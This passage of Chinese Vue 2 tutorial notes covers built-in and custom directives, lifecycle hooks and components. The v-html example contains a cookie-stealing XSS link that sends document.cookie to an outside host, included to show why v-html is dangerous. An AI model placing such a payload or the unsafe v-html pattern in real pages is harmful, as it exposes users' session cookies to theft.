			el:'#root',
			data:{
				time:1621561377603, //时间戳
				msg:'你好,尚硅谷'
			},

			//在vue示例列名书写相关的事件
			computed: {
				fmtTime(){
					return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')//返回当前时间
				}
			},
			methods: {
				getFmtTime(){
					return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')//返回当前时间
				}
			},

			//局部过滤器
			filters:{
				timeFormater(value,str='YYYY年MM月DD日 HH:mm:ss'){
					// console.log('@',value)
					return dayjs(value).format(str)//返回当前时间
				}
			}
		})

		new Vue({
			el:'#root2',
			data:{
				msg:'hello,计算机科学与技术学院'
			}
		})
	</script>
</html>


第十五章:Vue内置指令

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-text指令</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 
				我们学过的指令:
						v-bind	: 单向绑定解析表达式, 可简写为 :xxx
						v-model	: 双向数据绑定
						v-for  	: 遍历数组/对象/字符串
						v-on   	: 绑定事件监听, 可简写为@
						v-if 	 	: 条件渲染(动态控制节点是否存存在)
						v-else 	: 条件渲染(动态控制节点是否存存在)
						v-show 	: 条件渲染 (动态控制节点是否展示)
				v-text指令:
						1.作用:向其所在的节点中渲染文本内容。
						
						2.与插值语法的区别:v-text会替换掉节点中的内容,{{xx}}则不会。
		-->
		<!-- 准备好一个容器-->







		<div id="root">
			<div>你好,{{name}}</div>
			<div v-text="name"></div>
			<div v-text="str"></div>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
		
		new Vue({
			el:'#root',
			data:{
				name:'计算机科学与技术学院',
				str:'<h3>你好啊!</h3>'
			}
		})
	</script>
</html>


	v-html指令:
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-html指令</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 
				v-html指令:
						1.作用:向指定节点中渲染包含html结构的内容。
						2.与插值语法的区别:
									(1).v-html会替换掉节点中所有的内容,{{xx}}则不会。
									(2).v-html可以识别html结构。
						3.严重注意:v-html有安全性问题!!!!
									(1).在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击。
									(2).一定要在可信的内容上使用v-html,永不要用在用户提交的内容上!
		-->
		<!-- 准备好一个容器-->
		<div id="root">
			<div>你好,{{name}}</div>
			<div v-html="str"></div>
			<div v-html="str2"></div>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		new Vue({
			el:'#root',
			data:{
				name:'计算机科学与技术学院',
				str:'<h3>你好啊!</h3>',
				str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了,快来!</a>',
			}
		})
	</script>
</html>
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-cloak指令</title>
		<style>
			[v-cloak]{
				display:none;
				background: saddlebrown;
			}
		</style>
		<!-- 引入Vue -->
	</head>
	<body>
		<!-- 
				v-cloak指令(没有值):
						1.本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性。
						2.使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。
		-->
		<!-- 准备好一个容器-->
		<div id="root">
			<h1>计算机科学与技术学院</h1>
<!--			v-cloak  h2标签具有了特殊属性-->
			<h2 v-cloak>{{name}}</h2>
		</div>
		<script type="text/javascript" src="http://localhost:8080/resource/1s/vue.js">//使用这个地址来设置vue的访问事件


		</script>
	</body>
	
	<script type="text/javascript">
		console.log(1)
		alert("vue服务已经开始!")
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
		
		new Vue({
			el:'#root',
			data:{
				name:'计算机科学与技术'
			}
		})
	</script>
</html>
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-once指令</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 
			v-once指令:
						1.v-once所在节点在初次动态渲染后,就视为静态内容了。
						2.以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能。
		-->
		<!-- 准备好一个容器-->
		<div id="root">
			<h1> {{address}}     {{name}}</h1>
			<h2 v-once>初始化的n值是:{{n}}</h2>
			<h2>当前的n值是:{{n}}</h2>
			<button @click="n++">点我n+1</button>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
		
		new Vue({
			el:'#root',
			data:{
				n:1,
				name:'计算机科学与技术学院',
				address:'昆明津桥学院'

			}
		})
	</script>
</html>
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-pre指令</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 
			v-pre指令:
					1.跳过其所在节点的编译过程。
					2.可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译。
		-->
		<!-- 准备好一个容器-->
		<div id="root">
			<h1>{{name}}</h1>
			<h2 v-pre>Vue其实很简单</h2>
			<h2 >当前的n值是:{{n}}</h2>
			<button @click="n++">点我n+1</button>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		new Vue({
			el:'#root',
			data:{
				n:1,
				name:'计算机科学与技术学院'
			}
		})
	</script>
</html>

第十六章:自定义指令

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>自定义指令</title>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 
				需求1:定义一个v-big指令,和v-text功能类似,但会把绑定的数值放大10倍。
				需求2:定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的input元素默认获取焦点。




				自定义指令总结:
						一、定义语法:
									(1).局部指令:
												new Vue({															new Vue({
													directives:{指令名:配置对象}   或   		directives{指令名:回调函数}
												}) 																		})
									(2).全局指令:
													Vue.directive(指令名,配置对象) 或   Vue.directive(指令名,回调函数)

						二、配置对象中常用的3个回调:
									(1).bind:指令与元素成功绑定时调用。
									(2).inserted:指令所在元素被插入页面时调用。
									(3).update:指令所在模板结构被重新解析时调用。

						三、备注:
									1.指令定义时不加v-,但使用时要加v-;
									2.指令名如果是多个单词,要使用kebab-case命名方式,不要用camelCase命名。
		-->
		<!-- 准备好一个容器-->
		<div id="root">
			<h2>{{name}}</h2>
			<h2>当前的n值是:<span v-text="n"></span> </h2>
			<!-- <h2>放大10倍后的n值是:<span v-big-number="n"></span> </h2> -->
			<h2>放大10倍后的n值是:<span v-big="n"></span> </h2>
			<button @click="n++">点我n+1</button>
			<hr/>
			<input type="text" v-fbind:value="n">
		</div>
	</body>
	
	<script type="text/javascript">
		Vue.config.productionTip = false

		//定义全局指令
		/* Vue.directive('fbind',{
			//指令与元素成功绑定时(一上来)
			bind(element,binding){
				element.value = binding.value
			},
			//指令所在元素被插入页面时
			inserted(element,binding){
				element.focus()
			},
			//指令所在的模板被重新解析时
			update(element,binding){
				element.value = binding.value
			}
		}) */

		new Vue({
			el:'#root',
			data:{
				name:'计算机科学与技术',
				n:1
			},
			
			
			
			directives:{
				//big函数何时会被调用?1.指令与元素成功绑定时(一上来)。2.指令所在的模板被重新解析时。
				/* 'big-number'(element,binding){
					// console.log('big')
					element.innerText = binding.value * 10
				}, */
				big(element,binding){
					console.log('big',this) //注意此处的this是window
					// console.log('big')
					element.innerText = binding.value * 10;
					console.log("开始了")
					console.log(element,binding)
				},
				
				
				
				
				fbind:{
					//指令与元素成功绑定时(一上来)
					bind(element,binding){
						element.value = binding.value
					},
					//指令所在元素被插入页面时
					inserted(element,binding){
						element.focus()
					},
					//指令所在的模板被重新解析时
					update(element,binding){
						element.value = binding.value
					}
				}
				
				
				
				
			}
		})
		
	</script>
</html>
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>自定义指令</title>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 
				需求1:定义一个v-big指令,和v-text功能类似,但会把绑定的数值放大10倍。
				需求2:定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的input元素默认获取焦点。




				自定义指令总结:
						一、定义语法:
									(1).局部指令:
												new Vue({															new Vue({
													directives:{指令名:配置对象}   或   		directives{指令名:回调函数}
												}) 																		})
									(2).全局指令:
													Vue.directive(指令名,配置对象) 或   Vue.directive(指令名,回调函数)

						二、配置对象中常用的3个回调:
									(1).bind:指令与元素成功绑定时调用。
									(2).inserted:指令所在元素被插入页面时调用。
									(3).update:指令所在模板结构被重新解析时调用。

						三、备注:
									1.指令定义时不加v-,但使用时要加v-;
									2.指令名如果是多个单词,要使用kebab-case命名方式,不要用camelCase命名。
		-->
		<!-- 准备好一个容器-->
		<div id="root">
			<h2>{{name}}</h2>
			<h2>当前的n值是:<span v-text="n"></span> </h2>
			<!-- <h2>放大10倍后的n值是:<span v-big-number="n"></span> </h2> -->
			<h2>放大10倍后的n值是:<span v-big="n"></span> </h2>
			<button @click="n++">点我n+1</button>
			<hr/>
			<input type="text" v-fbind:value="n">
		</div>
	</body>
	
	<script type="text/javascript">
		Vue.config.productionTip = false

		//定义全局指令
		/* Vue.directive('fbind',{
			//指令与元素成功绑定时(一上来)
			bind(element,binding){
				element.value = binding.value
			},
			//指令所在元素被插入页面时
			inserted(element,binding){
				element.focus()
			},
			//指令所在的模板被重新解析时
			update(element,binding){
				element.value = binding.value
			}
		}) */

		new Vue({
			el:'#root',
			data:{
				name:'计算机科学与技术',
				n:1
			},



			directives:{
				//big函数何时会被调用?1.指令与元素成功绑定时(一上来)。2.指令所在的模板被重新解析时。
				/* 'big-number'(element,binding){
					// console.log('big')
					element.innerText = binding.value * 10
				}, */
				big(element,binding){
					console.log('big',this) //注意此处的this是window
					// console.log('big')
					element.innerText = binding.value * 1500;
					console.log("开始了")
					console.log(element,binding)
				},




				fbind:{

					//在vue列名书写函数,调用
					//指令与元素成功绑定时(一上来)
					bind(element,binding){
						element.value = binding.value//调用方法
						console.log("第一个函数执行了!")
					},

					//指令所在元素被插入页面时
					inserted(element,binding){
						element.focus()
						console.log("第二个函数执行了!")
					},


					//指令所在的模板被重新解析时
					update(element,binding){
						element.value = binding.value
						console.log("第三个函数执行了!")
					}
				}




			}
		})
		
	</script>
</html>
相关dom操作:
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>Document</title>
		<style>
			.demo{
				background-color: orange;
			}
		</style>
	</head>
	<body>
		<button id="btn">点我创建一个输入框</button>
		
		<script type="text/javascript" >
			const btn = document.getElementById('btn')
			btn.onclick = ()=>{
				//使用js中dom来创建一个
				const input = document.createElement('input')

				input.className = 'demo'
				input.value = 1000
				input.onclick = ()=>{alert("成功了!")}//调用JavaScript中的dom对象事件
				
				document.body.appendChild(input)

				input.focus()
				 input.parentElement.style.backgroundColor = 'skyblue'
				console.log(input.parentElement)
				
			}
		</script>
	</body>
</html>

第十七章:生命周期

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>引出生命周期</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 
				生命周期:
						1.又名:生命周期回调函数、生命周期函数、生命周期钩子。
						2.是什么:Vue在关键时刻帮我们调用的一些特殊名称的函数。
						3.生命周期函数的名字不可更改,但函数的具体内容是程序员根据需求编写的。
						4.生命周期函数中的this指向是vm 或 组件实例对象。
		-->
		<!-- 准备好一个容器-->
		<div id="root">
			<h1 :style="{opacity}">{{name}}</h1>
			<h2 v-if="a">你好啊</h2>
			<h2 :style="{opacity}">欢迎学习Vue</h2>
			<h3 :style="{opacity}">昆明津桥学院</h3>

		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
		
		 new Vue({
			el:'#root',
			data:{
				name:'计算机科学与技术学院欢迎您!',
				a:false,
				opacity:1
			},
			methods: {
				change(){

					console.log()
					
				}
			},
			//Vue完成模板的解析并把初始的真实DOM元素放入页面后(挂载完毕)调用mounted
			mounted(){
				console.log('mounted',this)
				setInterval(() => {
					this.opacity -= 0.01		//控制透明度的时间
					if(this.opacity <= 0) this.opacity = 1
				},16)
			},
		})

		//通过外部的定时器实现(不推荐)
		/* setInterval(() => {
			vm.opacity -= 0.01
			if(vm.opacity <= 0) vm.opacity = 1
		},16) */
	</script>
</html>
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>分析生命周期</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
<div id="main">

	<h1>{{name}}</h1>

</div>

		<div id="root" :x="n">
			<h1>{{name}}</h1>
			<h2 v-text="n"></h2>
			<h2>当前的n值是:{{n}}</h2>
			<button @click="add">点我n+1</button>
			<button @click="bye">点我销毁vm</button>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		new Vue({
			el:'#root',
			// template:`
			// 	<div>
			// 		<h2>当前的n值是:{{n}}</h2>
			// 		<button @click="add">点我n+1</button>
			// 	</div>
			// `,
			data:{
				name:'计算机科学与技术学院',
				n:1
			},
			methods: {
				add(){
					console.log('add')
					this.n++
				},
				bye(){
					console.log('bye')
					this.$destroy()
				}
			},
			watch:{
				n(){
					console.log('n变了')
				}
			},
			beforeCreate() {
				console.log('beforeCreate')
			},
			created() {
				console.log('created')
			},
			beforeMount() {
				console.log('beforeMount')
			},
			mounted() {
				console.log('mounted')
			},
			beforeUpdate() {
				console.log('beforeUpdate')
			},
			updated() {
				console.log('updated')
			},
			beforeDestroy() {
				console.log('beforeDestroy')
			},
			destroyed() {
				console.log('destroyed')
			},
		})
		new Vue(

				{
					el:'#main',
					data:{
						name:'计算机科学与技术学院欢迎您!'
					},

					


				}

		)
	</script>
</html>
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>分析生命周期</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
<div id="main">

	<h1>{{name}}</h1>

</div>

		<div id="root" :x="n">
			<h1>{{name}}</h1>
			<h2 v-text="n"></h2>
			<h2>当前的n值是:{{n}}</h2>
			<button @click="add">点我n+1</button>
			<button @click="bye">点我销毁vm</button>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		new Vue({
			el:'#root',
			 // template:`
			 // 	<div>
			 // 		<h2>当前的n值是:{{n}}</h2>
			 // 		<button @click="add">点我n+1</button>
			 // 	</div>
			 // `,




			data:{
				name:'计算机科学与技术学院',
				n:1
			},
			methods: {
				add(){
					console.log('add')
					this.n++
				},
				bye(){
					console.log('bye')
					this.$destroy()
				}
			},
			watch:{
				n(){
					console.log('n变了')
				}
			},
			beforeCreate() {
				console.log('beforeCreate+计算机科学与技术学院')
			},
			created() {
				console.log('created')
			},
			beforeMount() {
				console.log('beforeMount+计算机科学与技术学院')
			},

			mounted() {
				console.log('mounted')
			},

			beforeUpdate() {
				console.log('更新了——————beforeUpdate')
			},

			updated() {
				console.log('updated')
				console.log("n的值为:",this.n)
			},
			beforeDestroy() {
				console.log('beforeDestroy')
			},
			destroyed() {
				console.log('destroyed')
			},
		})
		new Vue(

				{
					el:'#main',
					data:{
						name:'计算机科学与技术学院欢迎您!'
					},




				}

		)
	</script>
</html>
销毁流程:
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>分析生命周期</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
<div id="main">

	<h1>{{name}}</h1>

</div>

		<div id="root" :x="n">
			<h1>{{name}}</h1>
			<h2 v-text="n"></h2>
<!--			使用插值语法 调用vue-->
			<h2>当前的n值是:{{n}}</h2>

<!--			绑定add事件-->
			<button @click="add">点我n+1</button>

<!--			绑定bye事件-->
			<button @click="bye">点我销毁vm</button>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		new Vue({
			el:'#root',
			 // template:`
			 // 	<div>
			 // 		<h2>当前的n值是:{{n}}</h2>
			 // 		<button @click="add">点我n+1</button>
			 // 	</div>
			 // `,




			data:{
				name:'计算机科学与技术学院',
				n:1
			},
			methods: {
				add(){
					console.log('add')
					this.n++


				},

				//书写销毁事件,绑定事件
				bye(){
					console.log('bye')
					this.$destroy()
					console.log("销毁了并且我还在之前加的基础上又累加了 值为",this.n++)
				}
			},


			//书写监听事件 并且调用此事件
			watch:{
				n(){//这个就是读作监视n的变化   把事件n作为函数绑定监听事件
					console.log('n变了')
				}
			},


			beforeCreate() {
				console.log('beforeCreate+计算机科学与技术学院')
			},


			created() {
				console.log('created')
			},


			beforeMount() {
				console.log('beforeMount+计算机科学与技术学院')
			},

			mounted() {
				console.log('mounted')
			},

			beforeUpdate() {
				console.log('更新了——————beforeUpdate')
			},

			updated() {
				console.log('updated')
				console.log("n的值为:",this.n)
			},


			beforeDestroy() {
				console.log('beforeDestroy')
			},


			destroyed() {
				console.log('destroyed')
			},


		})


		new Vue(

				{
					el:'#main',
					data:{
						name:'计算机科学与技术学院欢迎您!'
					},

				}

		)
	</script>
</html>
生命周期总结:

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>引出生命周期</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 
				常用的生命周期钩子:
						1.mounted: 发送ajax请求、启动定时器、绑定自定义事件、订阅消息等【初始化操作】。
						2.beforeDestroy: 清除定时器、解绑自定义事件、取消订阅消息等【收尾工作】。

				关于销毁Vue实例
						1.销毁后借助Vue开发者工具看不到任何信息。
						2.销毁后自定义事件会失效,但原生DOM事件依然有效。
						3.一般不会在beforeDestroy操作数据,因为即便操作数据,也不会再触发更新流程了。
		-->
		<!-- 准备好一个容器-->
		<div id="root">
			<h2 :style="{opacity}">欢迎学习Vue</h2>
			<button @click="opacity = 1">透明度设置为1</button>
			<button @click="stop">点我停止变换</button>
			<button @click="add">点我加1</button>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		 new Vue({
			el:'#root',
			data:{
				opacity:1,//在这里面定义变量
				n:0//声明变量并且赋值为0
			},
			methods: {
				stop(){

					clearInterval(this.timer)//清除定时器
					this.$destroy()//回调
				},
				//一定要在这个代码块里面书写事件

				add(){
					console.log("当前n的值是:",this.n++)
				}


			},

			 //Vue完成模板的解析并把初始的真实DOM元素放入页面后(挂载完毕)调用mounted
			mounted(){
				console.log('mounted',this)
				console.log("我在之前的基础前:")
				this.timer = setInterval(() => {
					console.log('setInterval')
					this.opacity -= 0.01
					if(this.opacity <= 0)
						this.opacity = 1
				},16)
			},
			beforeDestroy() {
				clearInterval(this.timer)//调用销毁计时器
				console.log('vm即将驾鹤西游了')
			},


		})

	</script>
</html>

第十八章:组件化编程

基于传统编程的使用出现的1.依赖关系混乱 不好维护 2.代码复用率不高

使用组件方式编写应用:
	组件:实现应用中局部功能代码和资源的集合
	代码:HTML HTML JavaScript
	资源:音频 视频等
	
	
模块:一个js程序就是一个js文件
组件:实现局部特定功能效果的代码集合
	
	
	从此:出现模块化  组件化的使用








非单文件组件:一个文件中包含有n个组件


单文件组件:一个文件中只包含1个组件



代码示例:
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>基本使用</title>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 
			Vue中使用组件的三大步骤:
					一、定义组件(创建组件)
					二、注册组件
					三、使用组件(写组件标签)

			一、如何定义一个组件?
						使用Vue.extend(options)创建,其中options和new Vue(options)时传入的那个options几乎一样,但也有点区别;
						区别如下:
								1.el不要写,为什么? ——— 最终所有的组件都要经过一个vm的管理,由vm中的el决定服务哪个容器。
								2.data必须写成函数,为什么? ———— 避免组件被复用时,数据存在引用关系。
						备注:使用template可以配置组件结构。

			二、如何注册组件?
							1.局部注册:靠new Vue的时候传入components选项
							2.全局注册:靠Vue.component('组件名',组件)

			三、编写组件标签:
							<school></school>
		-->
		<!-- 准备好一个容器-->


		<div id="root">
			<hello></hello>
			<hr>
			<h1>{{msg}}</h1>
		<hr>
			&lt;!&ndash; 第三步:编写组件标签 &ndash;&gt;
			<school></school>
			<hr>
			&lt;!&ndash; 第三步:编写组件标签 &ndash;&gt;
			<student></student>
		</div>

	<div id="root2">
			<hello></hello>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false


		 //第一步:创建school组件
		const school = Vue.extend({
		 	
			//在template书写body中的div信息  在用来div中的显示位置不变 依然显示 
			template:`					
		 		<div class="demo">
		 			<h2>学校名称:{{schoolName}}</h2>
					<h2>学校地址:{{address}}</h2>
		 			<button @click="showName">点我提示学校名</button>
				
				
				
		 		</div>
		 	`,
		 	// el:'#root', //组件定义时,一定不要写el配置项,因为最终所有的组件都要被一个vm管理,由vm决定服务于哪个容器。
		 	data(){

		 		//书写data函数 返回信息
		 		return {
		 			schoolName:'计算机科学与技术学院',
		 			address:'北京'
		 		}
		 	},
		 	methods: {
		 		showName(){
		 			alert(this.schoolName)
			}
		 	},
		 })



		//第一步:创建student组件
		 const student = Vue.extend({
			 //在template书写body中的div信息  在用来div中的显示位置不变 依然显示 
		template:`
				<div>
				<h2>学生姓名:{{studentName}}</h2>
					<h2>学生年龄:{{age}}</h2>
				</div>
		 	`,
			data(){
				return {
			studentName:'吴邪',
		 			age:18
		 		}
		 	}
		 })
		
		//第一步:创建hello组件
		 const hello = Vue.extend({
			 //在template书写body中的div信息  在用来div中的显示位置不变 依然显示 
		 	template:`
		 		<div>
		 			<h2>你好啊!{{name}}</h2>
			</div>
		 	`,
		 	data(){
	 		return {
				name:'吴邪'
			}
			}
		 })





		 //第二步:全局注册组件
		 Vue.component('hello',hello)

		 //创建vm 调用组件
		 new Vue({
		 	el:'#root',
		 	data:{
		 		msg:'计算机科学与技术学院欢迎您!'
		 	},

		 	//第二步:注册组件(局部注册)
		 	components:{
		 		school,
		 		student
		 	}
		 })

		 //书写root选择器的Vue对象
		 new Vue({
		 	el:'#root2',
		 })
	</script>
</html>

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>几个注意点</title>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 
			几个注意点:
					1.关于组件名:
								一个单词组成:
											第一种写法(首字母小写):school
											第二种写法(首字母大写):School
								多个单词组成:
											第一种写法(kebab-case命名):my-school
											第二种写法(CamelCase命名):MySchool (需要Vue脚手架支持)
								备注:
										(1).组件名尽可能回避HTML中已有的元素名称,例如:h2、H2都不行。
										(2).可以使用name配置项指定组件在开发者工具中呈现的名字。

					2.关于组件标签:
								第一种写法:<school></school>
								第二种写法:<school/>
								备注:不用使用脚手架时,<school/>会导致后续组件不能渲染。

					3.一个简写方式:
								const school = Vue.extend(options) 可简写为:const school = options
		-->
		<!-- 准备好一个容器-->
		<div id="root">
			<h1>{{msg}}</h1>

<!--			这个是调用组件的方式  也就是HTML中的语义化标签-->
			<school></school>
			<school></school>
			<school></school>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false


		//定义组件
		const s = Vue.extend({
			name:'atguigu',
			template:`
				<div>
				<h1> 计算机科学与技术学院欢迎  (*`∀´*)ノ亻! {{text}}   同学进入我校学习!</h1>
					<h2>学校名称:{{name}}</h2>	
					<h2>学校地址:{{address}}</h2>	
				</div>
			`,
			data(){
				return {
					name:'计算机科学与技术学院',
					text:'吴邪',
					address:'北京'
				}
			}
		})

		new Vue({
			el:'#root',
			data:{
				msg:'欢迎学习Vue!'
			},
			components:{
				school:s//注册组件
			}
		})
	</script>
</html>









组件的嵌套
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>组件的嵌套</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		//定义student组件  template一定要写 里面书写的是要在网页显示的内容  在加上插值语法 结合前面的知识  综合使用  如下代码示例:
		// data配置的就是插值语法要填入的数据
		const student = Vue.extend({
			name:'student',
			template:`
				<div>
					<h2>学生姓名:{{name}}</h2>
					<h2>学生年龄:{{age}}</h2>
				</div>
			`,
			data(){
				return {
					name:'吴邪',
					age:18
				}
			}
		})

		//定义school组件
		const school = Vue.extend({
			name:'school',
			template:`
				<div>
					<h2>学校名称:{{name}}</h2>	
					<h2>学校地址:{{address}}</h2>	
					<student></student>
				</div>
			`,
			data(){
				return {
					name:'计算机科学与技术',
					address:'北京'
				}
			},
			//注册组件(局部)
			components:{
				student
			}
		})

		//定义hello组件
		const hello = Vue.extend({
			template:`<h1>{{msg}}</h1>`,
			data(){
				return {
					msg:'欢迎来到计算机科学与技术学院学习!'
				}
			}
		})

		//定义app组件
		const app = Vue.extend({
			template:`
				<div>
					<hello></hello>
					<school></school>
				</div>
			`,
			components:{
				school,
				hello
			}
		})

		//创建vm
		new Vue({
			template:'<app></app>',
			el:'#root',
			//注册组件(局部)
			components:{app}
		})
	</script>
</html>




























<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>VueComponent</title>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 
			关于VueComponent:
						1.school组件本质是一个名为VueComponent的构造函数,且不是程序员定义的,是Vue.extend生成的。

						2.我们只需要写<school/>或<school></school>,Vue解析时会帮我们创建school组件的实例对象,
							即Vue帮我们执行的:new VueComponent(options)。

						3.特别注意:每次调用Vue.extend,返回的都是一个全新的VueComponent!!!!

						4.关于this指向:
								(1).组件配置中:
											data函数、methods中的函数、watch中的函数、computed中的函数 它们的this均是【VueComponent实例对象】。
								(2).new Vue(options)配置中:
											data函数、methods中的函数、watch中的函数、computed中的函数 它们的this均是【Vue实例对象】。

						5.VueComponent的实例对象,以后简称vc(也可称之为:组件实例对象)。
							Vue的实例对象,以后简称vm。
		-->
		<!-- 准备好一个容器-->
		<div id="root">
			<school></school>
			<hello></hello>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false
		
		//定义school组件
		const school = Vue.extend({
			name:'school',
			template:`
				<div>
					<h2>学校名称:{{name}}</h2>	
					<h2>学校地址:{{address}}</h2>	
					<button @click="showName">点我提示学校名</button>
				</div>
			`,
			data(){
				return {
					name:'计算机科学与技术学院',
					address:'北京'
				}
			},
			methods: {
				showName(){
					console.log('showName',this)
				}
			},
		})




		const test = Vue.extend({
			template:`<span>atguigu</span>`
		})

		//定义hello组件
		const hello = Vue.extend({
			template:`
				<div>
					<h2>{{msg}}</h2>
					<test></test>	
				</div>
			`,
			data(){
				return {
					msg:'你好啊!',

				}
			},
			components:{test}
		})





		console.log(school)
		// console.log('@',school)
		// console.log('#',hello)

		//创建vm
		const vm = new Vue({
			el:'#root',
			components:{school,hello}//添加组件
		})
	</script>
</html>











<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>一个重要的内置关系</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 
				1.一个重要的内置关系:VueComponent.prototype.__proto__ === Vue.prototype
				2.为什么要有这个关系:让组件实例对象(vc)可以访问到 Vue原型上的属性、方法。
		-->
		<!-- 准备好一个容器-->
		<div id="root">
			<school></school>
		</div>

	<div id="rootCV">

		<student></student>
	</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
		Vue.prototype.x = 99

		//定义school组件
		const school = Vue.extend({
			name:'school',
			template:`
				<div>
					<h2>学校名称:{{name}}</h2>	
					<h2>学校地址:{{address}}</h2>	
					<button @click="showX">点我输出x</button>
				</div>
			`,
			data(){
				return {
					name:'计算机科学与技术学院',
					address:'北京'
				}
			},
			methods: {
				showX(){
					console.log(this.x)
				}
			},
		})

		//定义school组件
		const student = Vue.extend({
			name:'school',
			template:`
				<div>
					<h2>学校名称:{{name}}</h2>
					<h2>学校地址:{{address}}</h2>
					<button @click="showX">点我输出x</button>
				</div>
			`,
			data(){
				return {
					name:'计算机科学与技术学院',
					address:'北京'
				}
			},
			methods: {
				showX(){
					console.log(this.x)
				}
			},
		})


		const vx=new Vue({
			el:'#rootCV',
			data:{

				nameText:'吴邪'
			},
			components: {student}


		})


		//创建一个vm
		const vm = new Vue({
			el:'#root',
			data:{
				msg:'你好'
			},
			components:{school}
		})

		
		//定义一个构造函数
		/* function Demo(){
			this.a = 1
			this.b = 2
		}
		//创建一个Demo的实例对象
		const d = new Demo()

		console.log(Demo.prototype) //显示原型属性

		console.log(d.__proto__) //隐式原型属性

		console.log(Demo.prototype === d.__proto__)

		//程序员通过显示原型属性操作原型对象,追加一个x属性,值为99
		Demo.prototype.x = 99

		console.log('@',d) */

	</script>
</html>


第十九章:单文件组件

以:xxxx.Vue称为vue文件


<!--单文件组件书写方式如下:-->
<template>
	<div class="demo">
		<h2>学校名称:{{name}}</h2>
		<h2>学校地址:{{address}}</h2>
		<button @click="showName">点我提示学校名</button>	
	</div>
</template>



<script>
//这个是es6列名的暴露方式 一般选默认暴露
	 export default {
		name:'School',//与文件名保持一致
		data(){
			return {
				name:'计算机科学与技术学院',
				address:'北京昌平'
			}
		},
		methods: {
			showName(){
